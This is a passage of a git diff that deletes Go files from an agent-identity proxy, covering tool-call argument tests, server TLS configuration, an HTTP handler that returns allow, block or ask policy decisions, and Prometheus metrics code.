- wantKeys: []string{"path", "mode"},
- },
- {
- name: "empty args object",
- req: &Request{
- Method: "tools/call",
- Params: json.RawMessage(`{"name": "test", "arguments": {}}`),
- },
- wantNil: false,
- wantKeys: []string{},
- },
- {
- name: "missing arguments field",
- req: &Request{
- Method: "tools/call",
- Params: json.RawMessage(`{"name": "test"}`),
- },
- wantNil: false,
- wantKeys: []string{},
- },
- {
- name: "non-tools/call method",
- req: &Request{
- Method: "tools/list",
- Params: json.RawMessage(`{"name": "test", "arguments": {"key": "value"}}`),
- },
- wantNil: true,
- },
- }
-
- for _, tc := range testCases {
- t.Run(tc.name, func(t *testing.T) {
- got := tc.req.GetToolArgs()
- if tc.wantNil {
- if got != nil {
- t.Errorf("GetToolArgs() = %v, want nil", got)
- }
- return
- }
- if got == nil {
- t.Fatal("GetToolArgs() = nil, want non-nil")
- }
- for _, key := range tc.wantKeys {
- if _, ok := got[key]; !ok {
- t.Errorf("GetToolArgs() missing expected key %q", key)
- }
- }
- })
- }
-}
-
-// TestErrorResponseFormat verifies JSON-RPC error responses are well-formed.
-func TestErrorResponseFormat(t *testing.T) {
- testCases := []struct {
- name string
- resp *Response
- wantCode int
- }{
- {
- name: "forbidden error",
- resp: NewForbiddenError(json.RawMessage(`1`), "dangerous_tool"),
- wantCode: ErrCodeForbidden,
- },
- {
- name: "argument error",
- resp: NewArgumentError(json.RawMessage(`2`), "fetch_url", "url", "^https://.*"),
- wantCode: ErrCodeForbidden,
- },
- {
- name: "user denied error",
- resp: NewUserDeniedError(json.RawMessage(`3`), "exec_command"),
- wantCode: ErrCodeUserDenied,
- },
- {
- name: "rate limited error",
- resp: NewRateLimitedError(json.RawMessage(`4`), "api_call"),
- wantCode: ErrCodeRateLimited,
- },
- }
-
- for _, tc := range testCases {
- t.Run(tc.name, func(t *testing.T) {
- // Verify JSONRPC version
- if tc.resp.JSONRPC != "2.0" {
- t.Errorf("JSONRPC = %q, want %q", tc.resp.JSONRPC, "2.0")
- }
-
- // Verify error is present
- if tc.resp.Error == nil {
- t.Fatal("Error is nil")
- }
-
- // Verify error code
- if tc.resp.Error.Code != tc.wantCode {
- t.Errorf("Error.Code = %d, want %d", tc.resp.Error.Code, tc.wantCode)
- }
-
- // Verify response serializes to valid JSON
- data, err := json.Marshal(tc.resp)
- if err != nil {
- t.Fatalf("Failed to marshal response: %v", err)
- }
-
- var parsed map[string]interface{}
- if err := json.Unmarshal(data, &parsed); err != nil {
- t.Fatalf("Response is not valid JSON: %v", err)
- }
- })
- }
-}
diff --git a/implementations/go-proxy/pkg/server/config.go b/implementations/go-proxy/pkg/server/config.go
deleted file mode 100644
index e8fce9b..0000000
--- a/implementations/go-proxy/pkg/server/config.go
+++ /dev/null
@@ -1,172 +0,0 @@
-// Package server implements HTTP endpoints for server-side validation in AIP v1alpha2.
-//
-// The server package provides:
-// - Validation endpoint for remote policy enforcement
-// - Health check endpoint for load balancers
-// - Metrics endpoint for Prometheus integration
-// - TLS support for secure communication
-//
-// This is a new feature in AIP v1alpha2 that enables distributed policy enforcement
-// and centralized validation.
-package server
-
-import (
- "fmt"
- "strings"
-)
-
-// Config holds the server configuration from the policy spec.
-// Maps to spec.server in the policy YAML.
-type Config struct {
- // Enabled controls whether the HTTP server is active.
- // Default: false
- Enabled bool `yaml:"enabled,omitempty"`
-
- // Listen is the address and port to bind.
- // Format: ":" or ":"
- // Default: "127.0.0.1:9443"
- Listen string `yaml:"listen,omitempty"`
-
- // TLS configures HTTPS.
- // Required if Listen is not localhost.
- TLS *TLSConfig `yaml:"tls,omitempty"`
-
- // Endpoints configures custom endpoint paths.
- Endpoints *EndpointsConfig `yaml:"endpoints,omitempty"`
-}
-
-// TLSConfig holds TLS configuration.
-type TLSConfig struct {
- // Cert is the path to the TLS certificate file (PEM format)
- Cert string `yaml:"cert,omitempty"`
-
- // Key is the path to the TLS private key file (PEM format)
- Key string `yaml:"key,omitempty"`
-
- // ClientCA is the path to the CA certificate for client verification (mTLS)
- ClientCA string `yaml:"client_ca,omitempty"`
-
- // RequireClientCert enables mTLS (mutual TLS)
- RequireClientCert bool `yaml:"require_client_cert,omitempty"`
-}
-
-// EndpointsConfig holds custom endpoint path configuration.
-type EndpointsConfig struct {
- // Validate is the path for the validation endpoint
- // Default: "/v1/validate"
- Validate string `yaml:"validate,omitempty"`
-
- // Health is the path for the health check endpoint
- // Default: "/health"
- Health string `yaml:"health,omitempty"`
-
- // Metrics is the path for the Prometheus metrics endpoint
- // Default: "/metrics"
- Metrics string `yaml:"metrics,omitempty"`
-}
-
-// DefaultConfig returns the default server configuration.
-func DefaultConfig() *Config {
- return &Config{
- Enabled: false,
- Listen: "127.0.0.1:9443",
- Endpoints: &EndpointsConfig{
- Validate: "/v1/validate",
- Health: "/health",
- Metrics: "/metrics",
- },
- }
-}
-
-// GetListen returns the listen address.
-func (c *Config) GetListen() string {
- if c == nil || c.Listen == "" {
- return "127.0.0.1:9443"
- }
- return c.Listen
-}
-
-// GetValidatePath returns the validation endpoint path.
-func (c *Config) GetValidatePath() string {
- if c == nil || c.Endpoints == nil || c.Endpoints.Validate == "" {
- return "/v1/validate"
- }
- return c.Endpoints.Validate
-}
-
-// GetHealthPath returns the health check endpoint path.
-func (c *Config) GetHealthPath() string {
- if c == nil || c.Endpoints == nil || c.Endpoints.Health == "" {
- return "/health"
- }
- return c.Endpoints.Health
-}
-
-// GetMetricsPath returns the metrics endpoint path.
-func (c *Config) GetMetricsPath() string {
- if c == nil || c.Endpoints == nil || c.Endpoints.Metrics == "" {
- return "/metrics"
- }
- return c.Endpoints.Metrics
-}
-
-// IsLocalhost returns true if the listen address is localhost.
-func (c *Config) IsLocalhost() bool {
- addr := c.GetListen()
- return strings.HasPrefix(addr, "127.0.0.1:") ||
- strings.HasPrefix(addr, "localhost:") ||
- strings.HasPrefix(addr, "[::1]:")
-}
-
-// RequiresTLS returns true if TLS is required (non-localhost).
-func (c *Config) RequiresTLS() bool {
- return c.Enabled && !c.IsLocalhost()
-}
-
-// HasTLS returns true if TLS is configured.
-func (c *Config) HasTLS() bool {
- return c.TLS != nil && c.TLS.Cert != "" && c.TLS.Key != ""
-}
-
-// Validate checks the configuration for errors.
-func (c *Config) Validate() error {
- if c == nil || !c.Enabled {
- return nil
- }
-
- // Check TLS requirement
- if c.RequiresTLS() && !c.HasTLS() {
- return &ConfigError{
- Field: "tls",
- Message: "TLS is required when listen address is not localhost",
- }
- }
-
- // Validate TLS config if present
- if c.HasTLS() {
- if c.TLS.Cert == "" {
- return &ConfigError{
- Field: "tls.cert",
- Message: "TLS certificate path is required",
- }
- }
- if c.TLS.Key == "" {
- return &ConfigError{
- Field: "tls.key",
- Message: "TLS key path is required",
- }
- }
- }
-
- return nil
-}
-
-// ConfigError represents a configuration validation error.
-type ConfigError struct {
- Field string
- Message string
-}
-
-func (e *ConfigError) Error() string {
- return fmt.Sprintf("server config error: %s: %s", e.Field, e.Message)
-}
diff --git a/implementations/go-proxy/pkg/server/config_test.go b/implementations/go-proxy/pkg/server/config_test.go
deleted file mode 100644
index d885f31..0000000
--- a/implementations/go-proxy/pkg/server/config_test.go
+++ /dev/null
@@ -1,212 +0,0 @@
-package server
-
-import (
- "testing"
-)
-
-func TestDefaultConfig(t *testing.T) {
- cfg := DefaultConfig()
-
- if cfg.Enabled {
- t.Error("Default should have Enabled=false")
- }
- if cfg.Listen != "127.0.0.1:9443" {
- t.Errorf("Default Listen = %q, want %q", cfg.Listen, "127.0.0.1:9443")
- }
- if cfg.Endpoints == nil {
- t.Fatal("Default Endpoints should not be nil")
- }
- if cfg.Endpoints.Validate != "/v1/validate" {
- t.Errorf("Default Validate = %q, want %q", cfg.Endpoints.Validate, "/v1/validate")
- }
- if cfg.Endpoints.Health != "/health" {
- t.Errorf("Default Health = %q, want %q", cfg.Endpoints.Health, "/health")
- }
- if cfg.Endpoints.Metrics != "/metrics" {
- t.Errorf("Default Metrics = %q, want %q", cfg.Endpoints.Metrics, "/metrics")
- }
-}
-
-func TestConfigGetListen(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- expected string
- }{
- {"nil config", nil, "127.0.0.1:9443"},
- {"empty listen", &Config{}, "127.0.0.1:9443"},
- {"custom listen", &Config{Listen: "0.0.0.0:8080"}, "0.0.0.0:8080"},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- got := tt.config.GetListen()
- if got != tt.expected {
- t.Errorf("GetListen() = %q, want %q", got, tt.expected)
- }
- })
- }
-}
-
-func TestConfigGetPaths(t *testing.T) {
- cfg := &Config{
- Endpoints: &EndpointsConfig{
- Validate: "/custom/validate",
- Health: "/custom/health",
- Metrics: "/custom/metrics",
- },
- }
-
- if cfg.GetValidatePath() != "/custom/validate" {
- t.Errorf("GetValidatePath() = %q, want %q", cfg.GetValidatePath(), "/custom/validate")
- }
- if cfg.GetHealthPath() != "/custom/health" {
- t.Errorf("GetHealthPath() = %q, want %q", cfg.GetHealthPath(), "/custom/health")
- }
- if cfg.GetMetricsPath() != "/custom/metrics" {
- t.Errorf("GetMetricsPath() = %q, want %q", cfg.GetMetricsPath(), "/custom/metrics")
- }
-}
-
-func TestConfigIsLocalhost(t *testing.T) {
- tests := []struct {
- name string
- listen string
- expected bool
- }{
- {"127.0.0.1", "127.0.0.1:9443", true},
- {"localhost", "localhost:9443", true},
- {"ipv6 localhost", "[::1]:9443", true},
- {"all interfaces", "0.0.0.0:9443", false},
- {"external IP", "192.168.1.1:9443", false},
- {"hostname", "server.example.com:9443", false},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- cfg := &Config{Listen: tt.listen}
- if cfg.IsLocalhost() != tt.expected {
- t.Errorf("IsLocalhost() = %v, want %v", cfg.IsLocalhost(), tt.expected)
- }
- })
- }
-}
-
-func TestConfigRequiresTLS(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- expected bool
- }{
- {
- name: "disabled server",
- config: &Config{Enabled: false, Listen: "0.0.0.0:9443"},
- expected: false,
- },
- {
- name: "localhost doesn't require TLS",
- config: &Config{Enabled: true, Listen: "127.0.0.1:9443"},
- expected: false,
- },
- {
- name: "external address requires TLS",
- config: &Config{Enabled: true, Listen: "0.0.0.0:9443"},
- expected: true,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- if tt.config.RequiresTLS() != tt.expected {
- t.Errorf("RequiresTLS() = %v, want %v", tt.config.RequiresTLS(), tt.expected)
- }
- })
- }
-}
-
-func TestConfigHasTLS(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- expected bool
- }{
- {"no TLS config", &Config{}, false},
- {"empty TLS config", &Config{TLS: &TLSConfig{}}, false},
- {"cert only", &Config{TLS: &TLSConfig{Cert: "/path/cert.pem"}}, false},
- {"key only", &Config{TLS: &TLSConfig{Key: "/path/key.pem"}}, false},
- {"cert and key", &Config{TLS: &TLSConfig{Cert: "/cert.pem", Key: "/key.pem"}}, true},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- if tt.config.HasTLS() != tt.expected {
- t.Errorf("HasTLS() = %v, want %v", tt.config.HasTLS(), tt.expected)
- }
- })
- }
-}
-
-func TestConfigValidate(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- wantErr bool
- errMsg string
- }{
- {
- name: "nil config is valid",
- config: nil,
- wantErr: false,
- },
- {
- name: "disabled server is valid",
- config: &Config{Enabled: false},
- wantErr: false,
- },
- {
- name: "localhost without TLS is valid",
- config: &Config{
- Enabled: true,
- Listen: "127.0.0.1:9443",
- },
- wantErr: false,
- },
- {
- name: "external address without TLS is invalid",
- config: &Config{
- Enabled: true,
- Listen: "0.0.0.0:9443",
- },
- wantErr: true,
- errMsg: "tls",
- },
- {
- name: "external address with TLS is valid",
- config: &Config{
- Enabled: true,
- Listen: "0.0.0.0:9443",
- TLS: &TLSConfig{
- Cert: "/path/cert.pem",
- Key: "/path/key.pem",
- },
- },
- wantErr: false,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- err := tt.config.Validate()
- if (err != nil) != tt.wantErr {
- t.Errorf("Validate() error = %v, wantErr %v", err, tt.wantErr)
- }
- if err != nil && tt.errMsg != "" {
- if cfgErr, ok := err.(*ConfigError); ok {
- if cfgErr.Field != tt.errMsg {
- t.Errorf("Error field = %q, want %q", cfgErr.Field, tt.errMsg)
- }
- }
- }
- })
- }
-}
diff --git a/implementations/go-proxy/pkg/server/handler.go b/implementations/go-proxy/pkg/server/handler.go
deleted file mode 100644
index dfaf7a6..0000000
--- a/implementations/go-proxy/pkg/server/handler.go
+++ /dev/null
@@ -1,277 +0,0 @@
-package server
-
-import (
- "encoding/json"
- "net/http"
- "strings"
- "time"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/identity"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
-)
-
-// ValidationRequest is the request body for the validation endpoint.
-type ValidationRequest struct {
- // Tool is the name of the tool to validate
- Tool string `json:"tool"`
-
- // Arguments are the tool arguments
- Arguments map[string]any `json:"arguments"`
-
- // Token is the identity token (optional, can also be in Authorization header)
- Token string `json:"token,omitempty"`
-}
-
-// ValidationResponse is the response body for the validation endpoint.
-type ValidationResponse struct {
- // Decision is "allow", "block", or "ask"
- Decision string `json:"decision"`
-
- // Reason is a human-readable explanation
- Reason string `json:"reason,omitempty"`
-
- // Violations lists any policy violations
- Violations []Violation `json:"violations,omitempty"`
-
- // TokenStatus contains token validity information
- TokenStatus *TokenStatus `json:"token_status,omitempty"`
-}
-
-// Violation represents a policy violation.
-type Violation struct {
- // Type is the violation type (e.g., "argument_validation", "protected_path")
- Type string `json:"type"`
-
- // Field is the field that caused the violation
- Field string `json:"field,omitempty"`
-
- // Message is a description of the violation
- Message string `json:"message"`
-}
-
-// TokenStatus contains token validity information.
-type TokenStatus struct {
- // Valid is true if the token is valid
- Valid bool `json:"valid"`
-
- // ExpiresIn is the number of seconds until expiration
- ExpiresIn int `json:"expires_in,omitempty"`
-
- // Error contains the error code if validation failed
- Error string `json:"error,omitempty"`
-}
-
-// ErrorResponse is an error response body.
-type ErrorResponse struct {
- // Error is the error code
- Error string `json:"error"`
-
- // Message is a human-readable error description
- Message string `json:"message,omitempty"`
-
- // TokenError is the specific token error (for token_invalid)
- TokenError string `json:"token_error,omitempty"`
-}
-
-// HealthResponse is the response body for the health endpoint.
-type HealthResponse struct {
- // Status is "healthy", "degraded", or "unhealthy"
- Status string `json:"status"`
-
- // Version is the AIP version
- Version string `json:"version"`
-
- // PolicyHash is the current policy hash
- PolicyHash string `json:"policy_hash,omitempty"`
-
- // UptimeSeconds is the server uptime
- UptimeSeconds int64 `json:"uptime_seconds"`
-}
-
-// Handler handles HTTP requests for the AIP server.
-type Handler struct {
- engine *policy.Engine
- identityManager *identity.Manager
- startTime time.Time
- metrics *Metrics
-}
-
-// NewHandler creates a new HTTP handler.
-func NewHandler(engine *policy.Engine, identityManager *identity.Manager) *Handler {
- return &Handler{
- engine: engine,
- identityManager: identityManager,
- startTime: time.Now(),
- metrics: NewMetrics(),
- }
-}
-
-// HandleValidate handles POST requests to the validation endpoint.
-func (h *Handler) HandleValidate(w http.ResponseWriter, r *http.Request) {
- h.metrics.IncrementRequests()
-
- // Only accept POST
- if r.Method != http.MethodPost {
- h.sendError(w, http.StatusMethodNotAllowed, "method_not_allowed", "Only POST is allowed", "")
- return
- }
-
- // Parse request body
- var req ValidationRequest
- if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
- h.sendError(w, http.StatusBadRequest, "invalid_request", "Invalid JSON body", "")
- return
- }
-
- // Validate required fields
- if req.Tool == "" {
- h.sendError(w, http.StatusBadRequest, "invalid_request", "Missing required field: tool", "")
- return
- }
-
- // Extract token from Authorization header or request body
- token := req.Token
- if token == "" {
- authHeader := r.Header.Get("Authorization")
- if strings.HasPrefix(authHeader, "Bearer ") {
- token = strings.TrimPrefix(authHeader, "Bearer ")
- }
- }
-
- // Check if token is required
- if h.identityManager != nil && h.identityManager.RequiresToken() && token == "" {
- h.metrics.IncrementDecision("token_required")
- h.sendError(w, http.StatusUnauthorized, "token_required", "Identity token is required", "")
- return
- }
-
- // Validate token if provided
- var tokenStatus *TokenStatus
- if token != "" && h.identityManager != nil {
- result := h.identityManager.ValidateToken(token)
- tokenStatus = &TokenStatus{
- Valid: result.Valid,
- ExpiresIn: result.ExpiresIn,
- Error: result.Error,
- }
-
- if !result.Valid && h.identityManager.RequiresToken() {
- h.metrics.IncrementDecision("token_invalid")
- h.sendError(w, http.StatusUnauthorized, "token_invalid", "Token validation failed", result.Error)
- return
- }
- }
-
- // Evaluate policy
- decision := h.engine.IsAllowed(req.Tool, req.Arguments)
-
- // Build response
- resp := ValidationResponse{
- TokenStatus: tokenStatus,
- }
-
- switch decision.Action {
- case policy.ActionAllow:
- resp.Decision = "allow"
- resp.Reason = decision.Reason
- h.metrics.IncrementDecision("allow")
-
- case policy.ActionBlock:
- resp.Decision = "block"
- resp.Reason = decision.Reason
- h.metrics.IncrementDecision("block")
-
- // Add violation details
- if decision.FailedArg != "" {
- resp.Violations = append(resp.Violations, Violation{
- Type: "argument_validation",
- Field: decision.FailedArg,
- Message: "Value does not match pattern: " + decision.FailedRule,
- })
- } else {
- resp.Violations = append(resp.Violations, Violation{
- Type: "tool_not_allowed",
- Message: decision.Reason,
- })
- }
-
- case policy.ActionAsk:
- resp.Decision = "ask"
- resp.Reason = "Tool requires user approval"
- h.metrics.IncrementDecision("ask")
-
- case policy.ActionRateLimited:
- resp.Decision = "block"
- resp.Reason = decision.Reason
- h.metrics.IncrementDecision("rate_limited")
- resp.Violations = append(resp.Violations, Violation{
- Type: "rate_limited",
- Message: decision.Reason,
- })
- // Return 429 for rate limiting
- h.sendJSON(w, http.StatusTooManyRequests, resp)
- return
-
- case policy.ActionProtectedPath:
- resp.Decision = "block"
- resp.Reason = "Access to protected path blocked"
- h.metrics.IncrementDecision("protected_path")
- resp.Violations = append(resp.Violations, Violation{
- Type: "protected_path",
- Field: "path",
- })
- }
-
- h.sendJSON(w, http.StatusOK, resp)
-}
-
-// HandleHealth handles GET requests to the health endpoint.
-func (h *Handler) HandleHealth(w http.ResponseWriter, r *http.Request) {
- if r.Method != http.MethodGet {
- h.sendError(w, http.StatusMethodNotAllowed, "method_not_allowed", "Only GET is allowed", "")
- return
- }
-
- policyHash := ""
- if h.identityManager != nil {
- policyHash = h.identityManager.GetPolicyHash()
- }
-
- resp := HealthResponse{
- Status: "healthy",
- Version: "v1alpha2",
- PolicyHash: policyHash,
- UptimeSeconds: int64(time.Since(h.startTime).Seconds()),
- }
-
- h.sendJSON(w, http.StatusOK, resp)
-}
-
-// HandleMetrics handles GET requests to the metrics endpoint.
-func (h *Handler) HandleMetrics(w http.ResponseWriter, r *http.Request) {
- if r.Method != http.MethodGet {
- h.sendError(w, http.StatusMethodNotAllowed, "method_not_allowed", "Only GET is allowed", "")
- return
- }
-
- w.Header().Set("Content-Type", "text/plain; charset=utf-8")
- w.WriteHeader(http.StatusOK)
- _, _ = w.Write([]byte(h.metrics.Prometheus()))
-}
-
-// sendJSON sends a JSON response.
-func (h *Handler) sendJSON(w http.ResponseWriter, status int, data interface{}) {
- w.Header().Set("Content-Type", "application/json")
- w.WriteHeader(status)
- _ = json.NewEncoder(w).Encode(data)
-}
-
-// sendError sends an error response.
-func (h *Handler) sendError(w http.ResponseWriter, status int, errorCode, message, tokenError string) {
- resp := ErrorResponse{
- Error: errorCode,
- Message: message,
- TokenError: tokenError,
- }
- h.sendJSON(w, status, resp)
-}
diff --git a/implementations/go-proxy/pkg/server/handler_test.go b/implementations/go-proxy/pkg/server/handler_test.go
deleted file mode 100644
index 1baf140..0000000
--- a/implementations/go-proxy/pkg/server/handler_test.go
+++ /dev/null
@@ -1,259 +0,0 @@
-package server
-
-import (
- "bytes"
- "encoding/json"
- "net/http"
- "net/http/httptest"
- "strings"
- "testing"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
-)
-
-func newTestEngine(t *testing.T) *policy.Engine {
- engine := policy.NewEngine()
- err := engine.Load([]byte(`
-apiVersion: aip.io/v1alpha2
-kind: AgentPolicy
-metadata:
- name: test-policy
-spec:
- allowed_tools:
- - allowed_tool
- - another_tool
- tool_rules:
- - tool: blocked_tool
- action: block
-`))
- if err != nil {
- t.Fatalf("Failed to load test policy: %v", err)
- }
- return engine
-}
-
-func TestHandleValidate_AllowedTool(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- req := ValidationRequest{
- Tool: "allowed_tool",
- Arguments: map[string]any{"arg1": "value1"},
- }
- body, _ := json.Marshal(req)
-
- httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body))
- httpReq.Header.Set("Content-Type", "application/json")
- rec := httptest.NewRecorder()
-
- handler.HandleValidate(rec, httpReq)
-
- if rec.Code != http.StatusOK {
- t.Errorf("Expected status 200, got %d", rec.Code)
- }
-
- var resp ValidationResponse
- if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
- t.Fatalf("Failed to parse response: %v", err)
- }
-
- if resp.Decision != "allow" {
- t.Errorf("Expected decision 'allow', got %q", resp.Decision)
- }
-}
-
-func TestHandleValidate_BlockedTool(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- req := ValidationRequest{
- Tool: "blocked_tool",
- Arguments: map[string]any{},
- }
- body, _ := json.Marshal(req)
-
- httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body))
- httpReq.Header.Set("Content-Type", "application/json")
- rec := httptest.NewRecorder()
-
- handler.HandleValidate(rec, httpReq)
-
- if rec.Code != http.StatusOK {
- t.Errorf("Expected status 200, got %d", rec.Code)
- }
-
- var resp ValidationResponse
- if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
- t.Fatalf("Failed to parse response: %v", err)
- }
-
- if resp.Decision != "block" {
- t.Errorf("Expected decision 'block', got %q", resp.Decision)
- }
- if len(resp.Violations) == 0 {
- t.Error("Expected violations to be populated")
- }
-}
-
-func TestHandleValidate_UnknownTool(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- req := ValidationRequest{
- Tool: "unknown_tool",
- Arguments: map[string]any{},
- }
- body, _ := json.Marshal(req)
-
- httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body))
- httpReq.Header.Set("Content-Type", "application/json")
- rec := httptest.NewRecorder()
-
- handler.HandleValidate(rec, httpReq)
-
- if rec.Code != http.StatusOK {
- t.Errorf("Expected status 200, got %d", rec.Code)
- }
-
- var resp ValidationResponse
- _ = json.Unmarshal(rec.Body.Bytes(), &resp)
-
- if resp.Decision != "block" {
- t.Errorf("Expected decision 'block' for unknown tool, got %q", resp.Decision)
- }
-}
-
-func TestHandleValidate_MethodNotAllowed(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- httpReq := httptest.NewRequest(http.MethodGet, "/v1/validate", nil)
- rec := httptest.NewRecorder()
-
- handler.HandleValidate(rec, httpReq)
-
- if rec.Code != http.StatusMethodNotAllowed {
- t.Errorf("Expected status 405, got %d", rec.Code)
- }
-}
-
-func TestHandleValidate_InvalidJSON(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", strings.NewReader("invalid json"))
- httpReq.Header.Set("Content-Type", "application/json")
- rec := httptest.NewRecorder()
-
- handler.HandleValidate(rec, httpReq)
-
- if rec.Code != http.StatusBadRequest {
- t.Errorf("Expected status 400, got %d", rec.Code)
- }
-}
-
-func TestHandleValidate_MissingTool(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- req := ValidationRequest{
- Arguments: map[string]any{},
- }
- body, _ := json.Marshal(req)
-
- httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body))
- httpReq.Header.Set("Content-Type", "application/json")
- rec := httptest.NewRecorder()
-
- handler.HandleValidate(rec, httpReq)
-
- if rec.Code != http.StatusBadRequest {
- t.Errorf("Expected status 400, got %d", rec.Code)
- }
-}
-
-func TestHandleHealth(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- httpReq := httptest.NewRequest(http.MethodGet, "/health", nil)
- rec := httptest.NewRecorder()
-
- handler.HandleHealth(rec, httpReq)
-
- if rec.Code != http.StatusOK {
- t.Errorf("Expected status 200, got %d", rec.Code)
- }
-
- var resp HealthResponse
- if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
- t.Fatalf("Failed to parse response: %v", err)
- }
-
- if resp.Status != "healthy" {
- t.Errorf("Expected status 'healthy', got %q", resp.Status)
- }
- if resp.Version != "v1alpha2" {
- t.Errorf("Expected version 'v1alpha2', got %q", resp.Version)
- }
- if resp.UptimeSeconds < 0 {
- t.Error("Uptime should be non-negative")
- }
-}
-
-func TestHandleHealth_MethodNotAllowed(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- httpReq := httptest.NewRequest(http.MethodPost, "/health", nil)
- rec := httptest.NewRecorder()
-
- handler.HandleHealth(rec, httpReq)
-
- if rec.Code != http.StatusMethodNotAllowed {
- t.Errorf("Expected status 405, got %d", rec.Code)
- }
-}
-
-func TestHandleMetrics(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- // Make some requests to generate metrics
- req := ValidationRequest{Tool: "allowed_tool"}
- body, _ := json.Marshal(req)
- httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body))
- rec := httptest.NewRecorder()
- handler.HandleValidate(rec, httpReq)
-
- // Get metrics
- httpReq = httptest.NewRequest(http.MethodGet, "/metrics", nil)
- rec = httptest.NewRecorder()
- handler.HandleMetrics(rec, httpReq)
-
- if rec.Code != http.StatusOK {
- t.Errorf("Expected status 200, got %d", rec.Code)
- }
-
- body2 := rec.Body.String()
- if !strings.Contains(body2, "aip_requests_total") {
- t.Error("Metrics should contain aip_requests_total")
- }
- if !strings.Contains(body2, "aip_decisions_total") {
- t.Error("Metrics should contain aip_decisions_total")
- }
-}
-
-func TestHandleMetrics_MethodNotAllowed(t *testing.T) {
- engine := newTestEngine(t)
- handler := NewHandler(engine, nil)
-
- httpReq := httptest.NewRequest(http.MethodPost, "/metrics", nil)
- rec := httptest.NewRecorder()
-
- handler.HandleMetrics(rec, httpReq)
-
- if rec.Code != http.StatusMethodNotAllowed {
- t.Errorf("Expected status 405, got %d", rec.Code)
- }
-}
diff --git a/implementations/go-proxy/pkg/server/metrics.go b/implementations/go-proxy/pkg/server/metrics.go
deleted file mode 100644
index f58f16f..0000000
--- a/implementations/go-proxy/pkg/server/metrics.go
+++ /dev/null
@@ -1,114 +0,0 @@
-package server
-
-import (
- "fmt"
- "strings"
- "sync"
- "sync/atomic"
-)
-
-// Metrics collects server metrics for Prometheus export.
-type Metrics struct {
- requestsTotal atomic.Int64
- decisionsTotal map[string]*atomic.Int64
- violationsTotal map[string]*atomic.Int64
-
- mu sync.RWMutex
-}
-
-// NewMetrics creates a new metrics collector.
-func NewMetrics() *Metrics {
- return &Metrics{
- decisionsTotal: map[string]*atomic.Int64{
- "allow": {},
- "block": {},
- "ask": {},
- "rate_limited": {},
- "protected_path": {},
- "token_required": {},
- "token_invalid": {},
- },
- violationsTotal: map[string]*atomic.Int64{
- "argument_validation": {},
- "tool_not_allowed": {},
- "rate_limited": {},
- "protected_path": {},
- },
- }
-}
-
-// IncrementRequests increments the total request counter.
-func (m *Metrics) IncrementRequests() {
- m.requestsTotal.Add(1)
-}
-
-// IncrementDecision increments a decision counter.
-func (m *Metrics) IncrementDecision(decision string) {
- m.mu.RLock()
- counter, ok := m.decisionsTotal[decision]
- m.mu.RUnlock()
-
- if ok {
- counter.Add(1)
- }
-}
-
-// IncrementViolation increments a violation counter.
-func (m *Metrics) IncrementViolation(violationType string) {
- m.mu.RLock()
- counter, ok := m.violationsTotal[violationType]
- m.mu.RUnlock()
-
- if ok {
- counter.Add(1)
- }
-}
-
-// GetRequestsTotal returns the total request count.
-func (m *Metrics) GetRequestsTotal() int64 {
- return m.requestsTotal.Load()
-}
-
-// GetDecisionsTotal returns decision counts by type.
-func (m *Metrics) GetDecisionsTotal() map[string]int64 {
- m.mu.RLock()
- defer m.mu.RUnlock()
-
- result := make(map[string]int64)
- for k, v := range m.decisionsTotal {
- result[k] = v.Load()
- }
- return result
-}
-
-// Prometheus returns metrics in Prometheus text format.
-func (m *Metrics) Prometheus() string {
- var sb strings.Builder
-
- // requests_total
- sb.WriteString("# HELP aip_requests_total Total number of validation requests\n")
- sb.WriteString("# TYPE aip_requests_total counter\n")
- sb.WriteString(fmt.Sprintf("aip_requests_total %d\n", m.requestsTotal.Load()))
- sb.WriteString("\n")
-
- // decisions_total
- sb.WriteString("# HELP aip_decisions_total Total decisions by type\n")
- sb.WriteString("# TYPE aip_decisions_total counter\n")
- m.mu.RLock()
- for decision, counter := range m.decisionsTotal {
- sb.WriteString(fmt.Sprintf("aip_decisions_total{decision=\"%s\"} %d\n", decision, counter.Load()))
- }
- m.mu.RUnlock()
- sb.WriteString("\n")
-
- // violations_total
- sb.WriteString("# HELP aip_violations_total Total violations by type\n")
- sb.WriteString("# TYPE aip_violations_total counter\n")
- m.mu.RLock()
- for violationType, counter := range m.violationsTotal {
- sb.WriteString(fmt.Sprintf("aip_violations_total{type=\"%s\"} %d\n", violationType, counter.Load()))
- }
- m.mu.RUnlock()
-
